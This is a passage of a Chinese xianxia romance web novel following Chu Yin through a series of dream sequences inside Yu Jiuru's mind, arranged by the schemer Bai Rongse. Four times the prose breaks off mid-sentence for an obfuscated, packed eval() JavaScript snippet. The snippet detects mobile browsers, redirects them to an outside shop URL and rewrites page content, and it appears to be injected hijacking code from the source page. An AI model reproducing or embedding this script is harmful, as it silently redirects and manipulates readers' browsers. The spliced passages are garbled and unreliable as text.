“他为了逃脱天谴,也为了永生,便设置了一处禁锢之城,召集最厉害的一群蛊师为他炼制不死的蛊虫。” 说到这里,他像是找到了知音,语气也变得越发兴奋。 初茵问:“那这些黑水是什么?” 白容色神色淡淡:“这些都是他。蛊虫炼成后,他的身体便化为这下面的黑水,每过一段时间,魔种就从中而生,为他寻找宿主。” 初茵听完之后,心中十分不适。 被选中的感觉并没有这么美好。 几人又等了一会,视线里出现一个跃动的身影——是郁九如。 他衣袂生风,目标明确,向着最高处的那一处大殿而去。 当他的身影消失之后,他们也相继跟了过去。 宫殿里比想象中的还要大,到处都刻着符文,虽然上面的法力微弱,但空旷沉寂了这么久,这里却并不陈旧。 进入殿内,他们绕着柱子几乎是一步一停顿,确保附近没有陷阱或者埋伏之后,才向下一步而去。 白容色推了推她,指着一个方向。 初茵知道该自己单独行动了,便握紧右手,独自向着殿内走去。 几个拐角之后,初茵终于看到了郁九如的背影。 “郁九如?” 郁九如转过身,眼神里闪过一丝疑惑,“你怎么在这里?” “我也不知道,白容色把我带到这里后,就消失不见了。”初茵上前两步,更靠近他一些,“这是哪里?” 郁九如似乎没有防备她,还主动向她走进了两步,“这里是真正的百蛊城,跟我来。” 白容色说她已经安排好了一切,入梦的最好时机有两个,一是心神不定时,二是觉得安全对周围的一切放松警惕时。 她说,只要初茵出现在他身边,那他就能卸下最重的防备。 然后,她的方法才能奏效。 至于是什么方法,白容色却不肯告诉她,只说到时她自然会知道。 “你只要多和他说话,吸引他的注意力就可以。” 初茵看向郁九如,发现他下颌线收紧,看起来并不像是放松的样子。 她问:“你之前一直去镜湖,目的就是去找这里?” 郁九如微微颔首,垂眸看向她,平静道:“不错,我也是为孢衣蛊而来。” 初茵觉得有些好笑,“你也相信那个传说,觉得那个蛊虫能让死人复生?你是想要复活谁?” 郁九如瞥了她一眼,很快收回视线,“若孢衣蛊是假的,世上便不该有魔种。” 初茵想了一下,觉得他说得也对。 虽然她不信真有人能跳脱轮回,但当年的魔君也不傻,他一定是看到了什么,所以才有了这个计划。 没走几步,一道大门挡住了他们的去路。 这个大门上布满了圆形的凸起,上面刻画着形态各异的虫子。 很明显,这是一处机关。 郁九如站在这扇大门前,像是在思索什么。 初茵站在他身后,问:“你以前来过这里?” “没有。”像是陷入了某种回忆,郁九如声音有些迟疑,手上的动作却并没有停歇,“有人教过我。” 门被打开的瞬间,初茵的眼前出现了一片白光。 密密麻麻的白蝶发出刺眼的光晕,她的眼前一片眩晕,几乎什么都看不见。 竟然成功了。 这是她脑海里的最后一个念头。 * “君上,初茵同意退婚了!” 郁九如转身,看向从殿外小跑进来的昆延,打量他片刻后,皱眉道:“你说什么?” “那个合欢宗的初茵,他同意退婚了。” 昆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047227|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延捧着回龙佩上前,眼神发亮,又重复了一遍刚接到的好消息。 郁九如拿起那个被当成定亲信物的手环,忍不住皱眉。 他走出殿外,看向熟悉无比的昆仑,却觉得哪里有些不对劲。 自从初茵进入合欢宗之后,和她退婚的协商就没有停止过,无论什么优厚的条件,她都不肯松口,为什么现在同意了? “她要了什么条件?” 昆延道:“她没有提条件,听闻她有了心上人,明日就要成婚了。” 明日成婚? 这么快? 郁九如心里奇怪,无端生出一股怒意。 昆延见他没有反应,问道:“君上,您怎么了?” 郁九如语气生硬,“准备好贺礼,随我去看看。” 昆延犹豫,“这不妥吧。” 郁九如却道:“我答应过母亲,要护她周全,如今她要成亲,我自然要去。” 说罢,他也没有再理会昆延,袖袍一震,便凌空而起。 随着他离开,周围的景象变得模糊,像是一幅被水浸湿的画面。 昆延的脸也变成了另一个人。 白容色的脸出现在半空中,“你还挺聪明,再多呆一会,他恐怕就会发现不对劲。” 用一件急切的事情转移郁九如的注意力,自然,他就注意不到那些细节。 符布微微一笑,“我也只是赌。” * 初茵睁开眼,看到了镜子里的自己。 镜中的她一袭红衣,肌肤如雪,妆容精致,眉心朱砂艳红刺目,像是能灼烧眼眸。 她脑中一片空白,也想不起自己为什么会在这里。 “师姐,太好了!你马上就要成婚了!” 成婚? 初茵神色茫然,自己要成婚? 钟瑶笑意盈盈的脸出现在镜中,将她拉起来,“快走,新郎官们可都等不及了。” 额前的流苏被放下,她几乎是被钟瑶拉着来到厅堂。 新郎官? 来到宾客满堂的大厅,当她看清楚面前的情况时,整个人都不好了。 这一排穿着婚服的男子? 怎么是自己后山的那八个炉鼎,不对,易师兄也在里面? 九个? 开玩笑吧! 自己为什么会同时和九个人拜堂? 手里被递过来一个绸带,另一端连接了其他九个人。 “快点!快点!拜堂了!” “吉时已到!” …… 周围人声鼎沸,初茵没有说话的机会,几乎是被人押送着来到了大厅的正中央。 她脑子里乱哄哄的,觉得自己像是忘记了很重要的事情,现在又疲于应付眼前的场景。 “一拜天地!” 她看向主持仪式的女人,觉得她的声音很熟悉。 “慢着!”一声凌冽如寒冰的声音骤然响起。 初茵的身体忍不住抖了一下,回过头,看到了一袭黑衣的郁九如。 人群散开了一条道,青年身姿挺拔,表情生冷地踱步而来。他单手持剑,看起来不像是来庆贺,倒像是来杀人似的。 “郁剑君,你怎么来了?” “郁剑君也是来观礼?” “不愧是昆仑弟子,气量不凡。” 61. 梦境(二) 郁九如似是听不见周围吵杂的声音,他眸光锐利,如鹰隼般牢牢锁定了那一抹红,手中不自觉握紧了剑柄。 是的,他们已经取消婚约了。 他不知道这愤怒从何而来,也可能是这种一女九夫的场景太过荒谬可耻。 视线一个个扫过那几个男人的脸,他沉声道:“一男一女才能称作道侣,你这样,于礼不合。” 钟遥上前一步,挡在他前面,“你应该并没有受邀?都退婚了,这和你有什么关系。” 话还没有说完,一道剑茫脱手而出,斩断了初茵手中的红绸。 整个厅内瞬间一片死寂。 初茵垂下头,愣愣地看着手里只剩一截的长绸。 虽然不清楚是怎么回事,但都这样了,自己是不是可以不成婚了。 “郁剑君说得对,一次只能一对,既然如此,初茵姑娘先挑一个人。” 初茵抬起头,看向司仪,觉得她脑子不正常。 “司仪说得对啊!那就先选一个吧!” “对啊!大不了之后再办后面的八场。” “我觉得可以!” …… 周围传来的附和声,让她的脑子简直像是炸裂一般的痛,为什么这里的人这么—— 身后被人使劲一推,初茵踉跄着上前两步。 “快选一个!” “对!快点选一个,吉时马上就要到了!” “挑一个顺眼的?” …… 脑子嗡嗡作响,初茵单手扶额头,随手指了一个人。 “他不行!”郁九如的声音寒凉,让人莫名心惊,“他不过是个炉鼎,怎么能当你的夫君。” 炉鼎? 初茵突然意识到,对啊,他不是自己的炉鼎吗? 自己怎么会想着和一个炉鼎成婚? 她困惑地看着眼前的九个男人,这里面八个人都是自己的炉鼎。 难道自己其实想要成婚的人是……易师兄。 易茗站在队伍的末尾,他身着一袭红衣,唇边含着温柔的笑意。 “易师兄。” 听到她的话,易茗上前一步,将自己手中的红绸递过来,深情款款,“阿茵。” 初茵正欲伸手接过,却突然被人遏住手腕。 她抬起头,对上一双晦暗炙热的眼眸,郁九如弯腰逼近,几乎是从齿缝里挤出几个字,“不行,他不喜欢你。” 浑浑噩噩的感觉瞬间褪去,初茵只觉得头皮发麻。 “那,那我不成亲了。”她愕然道。 郁九如松开她的手,后退了一步,面色微霁,“既如此,那今日就——” “那就选郁仙君吧!” 女司仪的声音尖锐,响在初茵耳边像是炸雷一般。 “你的嫁衣都穿好了,当然要选一个人。”说着,司仪拉住初茵的手,将它递给郁九如。 郁九如的脸上露出一丝惊讶,不过他没有拒绝,伸手接过。 初茵愣了一瞬,抬起头。 郁九如的视线忍不住在她脸上停留,一袭红衣衬得她脸色红润,雪白的眉心是一粒殷红如火的花钿,挑起的眼尾也带了一抹微红。 那双漆亮的眸子因为惊愕而瞪大,里面印着他的脸。 他心神一晃,觉得也未尝不可。 他握紧她的手,正色道:“我们有婚约在先,既然我答应了要照顾你,那你选我也可以。” 初茵看着递过来的红绸,觉得事情不对劲。 她挣脱开他,头痛欲裂,“我们不是解除婚约了?我不要——” 她想要说话,可最后两个字却无论如何也说不出口。 突然,她看到他的肩膀上栖息着一只白色的蝴蝶,脑中有什么东西一闪而过。 郁九如一眨不眨地盯着她,漆黑的眸中像是酝酿着阴晦的云层。 “你只能和我成亲。”他道。 “什么!”初茵心中震撼,她张了张口,刚想说些什么,突然被人从身后推了一把。 眼前出现一片黑暗。 * “真是没用,你差点搞砸了一切!”白容色盯着她,一副恨铁不成钢的语气。 初茵捂着头,她根本是意识不清,不知道发生了什么,直到被白容色拽出梦境才找回自己的理智。 “你不是说会提醒我?这里是哪里?” 她抬头看了一眼周围,发现周围的景色看不清楚,天空像是被分割成了四块,其中一块还黑乎乎的。 “这是梦巢,说了你也不懂。” 白容色并不打算和她解释,而是快速道:“郁九如现在已经放松了心防,这次进去,一定能找到解法。” “而你,”她转过身,看向符布,严肃道:“如果你想进去,就必须对我敞开识海,否则,我没法把你融进他的梦里。” 符布沉默了片刻,而后勾唇,“好。” 随着他话音落下,初茵抬起头,看到那一片暗下去的天空突然亮了起来。 不过那一片区域的颜色却十分混乱,不像其他的三块天空那样,有着统一的色调。 符布含笑看向她,“可以了吗?白夫人。” 白容色目露嫌弃,“可以了,都闭上眼。” * 昆仑终年积雪,但在阵法的笼罩下,还是有几个峰绿树成茵,十分适合修炼或者……休憩。 一棵古树下,小少年拿出刀锋,摆弄着手里的石雕。 “九如,上次的双雁雕被你母亲收走了,你怎么还不长记性。” 郁千彦有些叹息地看着自己的独子,他如今正是打根基的时候,却日日沉迷于雕塑。 小少年抬起头,“我的修为已经比卫瑾高,也能打败他。” 他不明白为什么自己的父母对他总是有这样诸多的要求,看看周围同龄的,甚至是比他大的弟子,他都能打得过他们。 “你的对手不是他们。” 郁千彦暗叹口气,他发现自己很难和这么小的孩子说清楚什么是仇恨。 小少年头也没抬,“你是说南疆人吗?我知道。” 郁千彦苦思冥想如何让自己的儿子发奋,自从这段时间不让他和其他昆仑弟子接触后,他情绪低落,无心修炼。 可这也是为了他好,若是让昆仑那些潜伏的卧底看到,定会祸及无辜。 突然,郁千彦像是想到什么,“九如,你还记得我和你说的初伯伯的女儿吗?” 小少年停下来手里的动作,抬起头看向父亲,澄澈的眸子一眨不眨,“你什么时候带她来?” 郁九如不明白自己为什么会有一个未婚妻,而卫瑾他们却不需要。但爹说,他的未婚妻修为高深,远超于他,他又觉得有未婚妻也很好。 现在,他就非常希望能见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055141|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 郁千彦道:“她不像你这么闲,她现在还在外历练除魔,我来问问你初伯伯。” 说罢,他转身向外走去。 郁九如看了他一眼,又继续低头用小刀雕刻石头小人。 片刻之后,郁千彦手里捧着一块玄光镜回来了。 “九如,快来看,是阿茵。” 闻言,小少年一把扔掉了手里的小刀,起身奔到镜子前。 镜面的一半是个胡子拉碴的中年男子,脸上带着和煦的笑容,在他身后,是一片荒凉的沙漠。 一条黑黄相间的毒蟒躺在地上,显然已经没有了生息,而在那条大蟒蛇旁,站着个和自己年岁相仿的女孩。 她拿着一把和她身量并不相仿的砍刀,手起刀落破开蛇腹,取出蛇胆。 做完这一切,女孩抬起头,露出一张白生生的小脸,漆黑的眸子定定看向他的方向。 “爹!你在做什么?快来帮忙。” 中年男子慌忙放下镜面,“来了来了!爹来了!” 画面中断。 见少年还拿着黑漆漆的镜子,似乎回不过神的样子,郁千彦拍了拍他的肩膀,“小阿茵已经可以独自杀腾蛇了,听闻她正在冲击金丹。” “九如,你再不努力修炼,她未必能看得上你。” 金丹? 小少年震撼不已,缓缓放下镜面。 * 初茵感觉自己被人拉扯了一下手臂,她睁开眼,周围变得明亮起来。 “阿茵,这段时间你就住在这里吧。” 耳边响起女人有些淡漠的声音,她抬起头,看到了一个身着白衣的女子。 她姿容端丽,身材高挑,穿着昆仑的雪色制服,气质出尘。 初茵看着她,不知为何,从这张脸上看出几分熟悉的感觉。 女子低下头,那双疏离的眸子淡淡看向她,道,“你爹有别的事情要忙,等他忙好了,就会来找你。” 初茵被她带着向前,她小心观察着周围,看到了远处连绵的苍白山脉。 这里是昆仑。 突然,女人停下脚步,转身道:“既然来了,就别躲了。” 初茵也转过头,前面的墙角处小心翼翼探出来一个身影。 “母亲。” 小少年唤了一声,双手背在身后,漆黑的眸子一眨不眨地盯着她。 郁九如? 即便是小了这么多,但是这黑衣服,皱起的眉头,苦大仇深的严肃表情,的的确确是郁九如没有错。 那这个女人,是江菱?郁千彦的夫人? “他是九如,你们今后便一起修行。”女人的声音平静,毫无波澜,“九如,你又过来做什么?” 小少年先是看了一眼初茵,小心翼翼道:“母亲,你说只要我境界突破,便把双雁雕还给我。” 江菱坐在石凳上,两指抵着太阳穴,表情有些不耐,“可以,去拿吧。” 小少年恭恭敬敬行了一礼,又道:“母亲,那回龙佩什么时候给我?” 江菱仔细打量他一眼,摇摇头,脱下来手里镯子,放在石桌上,起身道: “拿走,你今日不必修行了,带阿茵到处逛逛。” “好。” 目送母亲离开后,小少年转过身,一脸严肃地走到初茵面前,对她伸出手,道:“初次见面,这支镯子送给你防身。” 62. 梦境(三) 初茵在一瞬间的震惊之后,又觉得这场景十分可笑。 没有得到回应,小郁九如抿了抿嘴,转过身,“走吧,我带你随便去看看。” 初茵跟在小少年的身后,她伸出手,发现自己的手掌也很小。 白容色说,这个梦境是找出进入秘境的方法,这个方法只在郁氏之间口口相传,所以在这个梦境里,自己也变小了。 可她并不记得自己小时候见过郁九如,为什么他会有这样的梦? “你现在是什么修为?” 前方的身影突然停下来,转身看向她。 初茵愣在当场,她不知道自己应该怎么回答,想了一下,她道:“刚引气入体。” 话说出口时,她被自己稚嫩的声音给吓了一跳。 “看来是他们骗了我。”听到她的话后,小少年垂着乌黑的睫毛,脸上露出明显的失望。 “骗了你什么?”她问。 他转过身,迈着小小的步伐,“母亲之前告诉我,说你的修为比我高很多,要我好好修炼,免得被嫌弃。” 竟然还有这种事情? 初茵不免觉得赧然,自己竟然成了郁九如想象中的对手。 她耳根发热,想要辩解两句,但又觉得没有必要,只道:“以你的修为,没人会嫌弃你。” “没有,我爹就不喜欢我。” 他转过身,怀里不知何时抱起一把剑,那剑的长度几乎抵得上他的身高了。 初茵觉得他的样子有些可笑,不过很快,她就笑不出来了。 长剑在空中浮起,小少年站在上面,对她伸出手,“走。” 这个年纪就会御剑…… 笑不出来,真的笑不出来。 初茵站在剑上,发现这里虽然是昆仑,但自己之前却并没有来过。 而郁九如带自己去的方向,似乎就是重雪峰。 “九如!”一个少年突然出现御剑出现在半空,挡住两人的路。 他眼睛很大,看起来比郁九如要高,“你怎么不来找我了?” 郁九如侧身躲过,“卫瑾,别挡路。” 卫瑾好奇侧过头,“你身后的是谁?” “与你无关。” 长剑拐出一个近乎于锐角的弧度,快速绕开眼前之人。 “好啊!郁九如!”那少年跟在他后面,喋喋不休,“你不和我一起打,原来是找到新朋友了!还是个女人?” 初茵忍不住回头,看了一眼这个半大的小屁孩。 卫瑾? 他应该就是卫翎的父亲吧?看起来比他儿子还要不着调。 突然,前方的御剑骤然悬停。 卫瑾一个急刹,险险停下来。 郁九如冷着一张小脸,“她是我未婚妻。” “啊?” 卫瑾看了一眼小女孩,又看了一眼郁九如,“她,你未婚妻?” 郁九如点点头,“而且你也打不过我,你都一把年纪了,跟在我后面不觉得羞愧吗?” 听到他的话,卫瑾的脸骤然红成猪肝色。 “郁九如,你等着!我这就让我师父教我厉害的剑法。” 说罢,他狠狠瞪了一眼初茵,转身离开。 虽然初茵不明所以,但她也意识到这个小少年应该是被伤了自尊心,“你这样说他,不怕他生气吗?” “没事。”小郁九如的神情出乎意料的淡漠,“母亲不让我和他一起。” “为什么?” 郁九如继续御剑,“不知道,可能是对他们不好。” 初茵觉得郁九如可能一直都是这样,即便是小小的年纪,说话做事也老成持重。 不过,很快她就发现自己想错了。 郁九如带她来到了点翠峰,这里的布局和印象里有些不同。 他带她来到偏殿,顺手解除了阵法。 初茵想起来自己从没有进过这里的偏殿,那里常年布置着阵法,虽然她也好奇过里面是什么,但昆延说他也不知道。 当满满一房间的东西出现在眼前时,初茵愣住了。 这是……储物仓? 她迟疑地走进去,发现这里罗列着一排排整齐的木架,大多数的方形格子里都放了东西。 “这是灵犀珠,这是玄女令……” 他一边说,一边向她的怀里塞着东西。 初茵迟疑道:“这是给我的?” “这些都是给你留的。”郁九如见她接过,脸颊露出一丝浅笑,“我不知道你会喜欢什么样的法器,所以收了很多。” “为什么?”初茵看向他,“我们应该没见过面,为什么你要送东西。” 郁九如却看着她,认真道,“听母亲说,你在外历练辛苦,需要很多东西。” 听他这么说,初茵心里稍稍松了一口气。 她还是一个孩子,自然很信任自己的母亲,会把她的话奉为圭臬。 等他再长大一些,有了自己的判断,就不会这么傻乎乎的。 她这样想。 不过她没想过江夫人会这样教育儿子。 “君上请您过去。”一个侍从的声音在外面喊了一声。 听到这个声音,郁九如收敛了脸上的笑意,抿起唇。 “走!我带你去其他地方看看。” 初茵跟在他身后,两人一起来到了玄星峰。 落下后,她站在了殿门口,密密麻麻的蛊虫挡住了去路。 “小阿茵也在?一起进来吧。”一道温润的声音在殿内开口。 郁九如突然拉起她的手,先行一步迈了进去。 随着他落脚的瞬间,地上的蛊虫纷纷后退,给他让出了一条道。 他转过头,对她说:“别怕。” 初茵跟着他后面,进入了殿内。 殿内站着一个黑衣的男子,他身形高大,面容俊美刚毅,虽然也穿着昆仑的那一袭黑银长袍,但气质却十分儒雅。 初茵只看了一眼心里就有了数,这个男人想必就是郁千彦。 郁千彦含笑看向她,“阿茵,不要拘谨。你父亲忙完之后便会来接你。” 她看着他点点头。 素未谋面之人,竟然也能在梦中相见,这让她倍感神奇。 突然,她的目光很快就停在另一个位置,郁千彦身后,一个女人斜依在座位上,似在闭目养神。 虽然她穿着昆仑弟子的服饰,装扮也似有不同,但她绝对是白容色不会错。 似是感觉到她的目光,白容色睁开眼,警告地瞥了她一眼。 她是清醒的? 郁九如上前一步,仰头和男人对峙,声音稚嫩而冷漠,“你叫我来做什么?” 郁千彦声音平缓,似带有一些无奈,“马上我要出一趟远门,有些东西必须要先交给你。这些常见的蛊虫,你可知如何分类?” 由于背对自己,初茵只能看见郁九如的背影。 此刻,小孩子双拳紧握,浑身都因为愤怒而紧绷。 “你是要和这个女人一起离开昆仑?” “当然是和我一起。”假寐的女人睁开眼,姿态慵懒地起身。 她冷眼看着面前的小孩,表情绝对算不上善意,“你不是说自己能扛起一切,不需要你爹在昆仑。还是说你后悔了?” 郁千彦侧过头,微微皱眉道:“阿容,你先出去一会。” 白容色冷哼一声,双手环臂,“这是防着我呢!什么破秘密,我还不稀罕听呢?” “我不是这个意思。”郁千彦脸上出现一丝无奈,他又道,“这里不方便,你把小阿茵也带出去。” 看到白容色使的眼神,初茵跟在了她身后。 跨出殿门的瞬间,面前的景色像是蒙上了一层阴翳,变得混沌而虚无。 “梦主是他,他要是不在,这里什么都没有。” 耳边,是小少年愤怒的声音。 “你就这样抛下一切,就为了和那个合欢宗女人在一起?” “对你来说,什么都比不上那个妖女!” “既然当初根本就不喜欢我娘,你为什么还要和她成亲。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077145|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 白容色神色淡淡,似乎对于里面两人的对话并不在乎。 初茵忍不住开口问:“郁千彦真的和你一起走了?” 抛弃宗门和孩子,一心只为了一个女人,即便是作为外人,初茵也觉得他实在不负责任。 “你以为我在他心目中真有这么重要。” 似乎是看穿了她的想法,白容色嗤笑一身,“记住,永远不要对男人抱有期待,尤其是心怀志向的男人。” “他们确实很吸引人,但为了志向,他们可以牺牲一切,何况一个女人?” 初茵不知道发生了什么,但看她现在的状态,显然并未如意。 白容色期期艾艾地叹息一声,“这么多年过去了,我早已经想明白了,我不过是他的一个工具。” 与此同时,白容色不怀好意地打量她。 “我看你和我的处境也差不多,你可别觉得他会对你手下留情。” 初茵眉头微蹙,并不赞同她的这个看法,“多谢关心,我很清楚自己要什么。” 白容色有些意外地看了她一眼。 见她神色镇定,不为所动的模样,又觉得有些有趣。 这两人一个还没开窍,一个稀里糊涂,也不知道最后会做出来什么荒唐事。 初茵问:“这个梦里有进入蛊城的方式?” 白容色闭上眼,片刻后睁开,“他已经在回忆了,马上我就能知道了。” “为什么我在这里是小孩子的样子?这是你安排的吗?” “不是。”她双手环抱,低头打量了初茵一眼,“我记得有段时间,你爹是要把你送来昆仑,可能他记在心里了。” “你爹很明智,如果把你送来昆仑,你未必能活下来。” 初茵回忆了一下自己的记忆,有段时间,初怀逸说过送自己离开。 不过最后,他把她送到了奕家。 周围的草木突然变得清晰,初茵意识到是郁九如要出来了。 果然,一个小小的声音怒气冲冲地走了出来。 他看到初茵之后,立刻警惕地上前两步,把她从白容色身边拉开。 “离她远一点,她会对你用幻术。”郁九如道。 白容色瞬间黑下脸,她道:“你还认为我对你爹用了情花幻术?” 情花幻术? 初茵想起一些古早的传闻,说合欢宗的人只要对一个男人施展了这种幻术,就能让他死心塌地。 这当然是假的,是以讹传讹的流言蜚语。 “难道不是?”小少年仰着脸,并不惧怕,“就是你抢走了我爹。” 初茵有一点理解郁九如的想法,他恐怕是不能接受自己的父亲突然变心,所以,宁愿相信这个谎言。 “好好好!”白容色冷笑出声,她长袖一挥,漫天白蝶飞过。 郁九如侧过头躲避蝴蝶,再睁开眼时,发现身边之人不见了。 “阿茵?” 白容色似笑非笑,“郁九如,你不是说我给你爹下了迷幻术吗?既然如此,那我就让你看看什么是真正的幻术。” “你做了什么?把阿茵还给我!” 她随手一指,“郁九如,看到那扇门了吗?她就在里面,进去,你就能想起一切了。” 看着突然出现在不远处的门,郁九如没有犹豫,快步向那里跑过去。 * 初茵再抬眼时,周围的场景已经改变了。 眼前是一片大红,红色的帐幔,红色的被帛。 她低头,自己身上虽然穿着一件红裙,但却几乎可以说是衣不蔽体,红纱下露出大片雪白的肌肤。 她立刻拉过丝帛遮住身体,心中既愤怒又懊恼。 再看看周围,昏暗的烛光下,这是一间破旧不堪的房子。 这是什么情况? 白容色不是说,梦境的开始是由真实构建的吗? 自己何时来过这个地方,还穿这一身衣裳? “你不要白费心思了,无论你使出什么伎俩,结果都不会改变。” 63. 梦境(四) 初茵抬头,郁九如就持剑站在自己面前,他瞳色幽暗,双眸中映出了一抹侬丽的红。 下一瞬,冰凉的剑尖抵上她的颈项,她不由自主地抬起头。 危险! 这是他的梦境,若他真的想要伤害自己,那她一定会神魂受创。 不能惹怒他,没有白容色在,自己连逃离的机会都没有。 “郁九如。”她缓缓开口,如今之计,似乎只有顺着他的思维演下去,“我只是想要活着。” 郁九如盯着她,眼神幽暗。 初茵却感觉到放在自己颈项的剑松动了,她有了几分勇气。 是示弱吗? 她可以。 她努力幻想自己真的准备勾引他的样子,慢慢半跪起身,随着她的行动,手上丝帛滑落,露出那一袭破烂的裙裳。 初茵一愣,脸上忍不住露出羞恼。 她心一横,还是继续道:“你能放我一命吗?” 郁九如怔愣了片刻。 似乎一切都出乎他的预料。 眼前的女子黑发披散,仰头盯着他,一双清眸泛着恼意,脸颊的红晕蔓延至耳根。 她一手微搭胸前,却遮不住露出的大片雪肤,反倒是更加撩拨人。 初茵的视线缓缓下移,发现他持剑的手腕紧绷,骨骼分明的手掌上青筋凸起,显然并没有表面看起来这么平静? 难道这就是他的梦境? 这是什么暗示? 他觉得自己会勾引他? 她缓缓伸出手,覆住了他握剑的那只手。 这只手比自己想象中还要紧绷,像是钢铁铸就而成,没有丝毫松懈的意味。 做完这一切,她微微抬头望着他。 郁九如居高临下看着她,一言不发,但那双眼却晦暗到可怕,像是包裹着许多她看不清的东西。 突然,一只手掐上了她的下巴。 她从郁九如的眼神中,清晰看到了自己惊惶的面容。 他压低的声音带着浓浓的怒意,“你就学了这些东西?” 初茵被推开,重重跌回床上。 她恶狠狠地想,这是我学了什么吗?这分明就是你自己想的这些。 手臂支撑着想要起身,后背却突然一凉,幽泉剑贴在背上,压得她差点趴回去。 刚侧过头,剑尖却近在眼前。 耳边传来郁九如冰冷的声音,“简直是……不知廉耻。” 初茵被气得不轻,大声道:“是啊!你有廉耻还做这样的春梦!你是不是心理变态!” 听到她的话,郁九如却没有什么反应。 他不明白她说的是什么意思,就当她是在胡搅蛮缠。 他的视线垂下,重新移到剑上,衣裙是裂开的,自后颈处被撕烂了很大一截,露出大片莹白的肌肤,红与白的对比极有冲击力。 他的眸中出现一丝迷乱的困惑,手下微微用力。 剑脊摩挲而过,雪色的皮肉泛起一片微红。 “郁九如!” 初茵看到越来越近的剑尖,忍不住出声。 他手下一顿。 似乎突然意识到自己的行为不妥,他眸光一震,立刻转过身。 “白容色!” 在他喊出这个名字的瞬间,房内一切像是被灼烧的灰烬,瞬间坍塌。 初茵眼前一阵模糊,感觉神识都在晃荡。 “怎么样?我的情花幻术如何?” 白容色的声音突兀响起,周围的景色骤变,初茵发现自己又回到了最初开始的地方。 梦巢? 初茵看向郁九如,不明白他为什么也会出现在这里。 “阿茵。” 面面相觑,郁九如盯着她。 他向来冷峻的面容上竟浮现几许怔愣,还有慌乱。 突然,他转过头,持剑向白容色刺去。 白容色的身体骤然化作一团白蝶,四散开来,她的声音带着幸灾乐祸,“这是恼羞成怒,想杀人灭口?” “你们到底是怎么回事?”初茵现在是一头懵。 为什么明明说是郁九如的梦境,他却出现在这里? 符布呢? 挥出几剑后,郁九如明白自己奈何不了她,便收起剑,冷静道:“这是我和她之间的一个交易。” 交易? 白容色的脸出现在半空中,像是占据了半个苍穹,“符布上钩了,他向来谨慎,想要进他的梦可不容易。” 初茵觉得自己被耍了。 当初自己真是瞎了眼,才会信白容色的鬼话。 她仰起头,忍着愤怒,看向飘在天空的脸,“放我离开。” 白容色的脸放大之后,每一个表情都十分可恶,“不行哦,符布的梦境已经开始筑建了,谁都离不开。” “我会去他意识的最深处,至于你们,只要小心别被他发现异常就可以。” 话音刚落下,周围像是晕染的水墨,突然开始流动变化起来。 一阵刺骨的寒风吹过,初茵眯了眯眼。 迎面是白茫茫的风雪,她发现自己站在山顶之上,旁边和自己同行的都是穿着昆仑袍服的弟子。 她心下一凛,知道这是又入梦了。 当下,她也顾不得东张西望,只和那些弟子一起行走。 “褚师兄,你待会还要去重雪峰吗?” 突然,和她一起并行之人突然转过头,看向她。 重雪峰?那不就是郁九如在的地方?既然他这么问,说明自己原本是要去这个地方的。 她缓缓点头。 那弟子道:“既然要去,那你就不用再送我们了,你先去忙吧。” 其余的弟子也应声附和,初茵不知道发生了什么,但眼前这个情况,自己明显是被排挤了——以一种很客气的方式。 她只能停下脚步,目送他们离开。 【哈哈,老七还是这幅样子,真不知道他这个卧底是怎么当的?】 初茵心中大骇,她以为自己出现幻觉了。 就在她脑中出现这个声音的同时,眼前也出现了一幅画面,似乎是在人来人往的集市上。 【老六你还笑话别人,你自己又好到哪里?】随着一个女人的声音响起,脑中的画面一分为二,又出现了一片密林的场景。 “哼!”一个苍老的声音响起,初茵的眼前又出现了一片小小的黑暗。 【老七虽然不说话,但他混进了昆仑,你们两个呢,又在哪个角落里龟缩?】 初茵觉得自己的脑子可能出现问题了,不然怎么会突然多出这么多莫名其妙的画面和声音。 白容色呢? 为什么她还没有出现? 她说的这个梦境到底是什么? 她看着眼前如假包换的昆仑风雪,心中出现了一丝无措,不知道自己的下一步是要做什么。 【老七,郁九如怎么样?他是不肯出关吗?】 这句话响起之后,耳边再无一丝声音。 似乎有人正在等自己开口回答。 初茵不知应不应该开口。 白容色说过,入梦之后,身份最好就是本人,若是扮演陌生人,很容易会露出破绽。 可自己现在的样子,不就是陌生人? 她要怎么扮演一个陌生人? 青年男人的声音阴阳怪气,【嘿嘿!老七生气了,不理我们了!我就说了,他看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 